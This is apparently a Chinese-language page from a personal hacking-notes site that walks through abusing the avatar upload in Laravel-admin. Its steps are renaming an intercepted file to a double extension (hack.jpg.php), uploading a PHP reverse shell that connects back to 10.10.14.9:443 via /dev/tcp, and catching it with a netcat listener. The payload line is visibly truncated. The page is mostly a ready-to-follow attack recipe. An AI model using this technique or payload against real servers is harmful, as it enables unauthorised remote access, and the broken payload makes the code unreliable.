> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/zh/web-vulnerabilities/file-upload-attack/file-upload-php-pentesting-web.md).
# 文件上传 PHP
## 文件上传（Laravel-admin）
在 Laravel-admin 应用程序中，有一个部分允许上传头像。通过利用此功能，我们可以发送恶意文件，从而获得对服务器的未授权访问。
{% embed url="" %}
### **利用步骤：**
1. **拦截并修改头像文件**:
* 使用 Burp Suite 拦截请求。
* 修改变量的值 `filename` 在伪装的图像文件后添加 PHP 扩展名，例如： `hack.jpg.php`.
* 文件内容必须是一个反向 shell，例如：
```php
& /dev/tcp/10.10.14.9/443 0>&1'"); ?>
```
**使用 Netcat 启动监听器**:
* 使用 Netcat 在 443 端口启动监听器：
```bash
nc -nlvp 443
```
---
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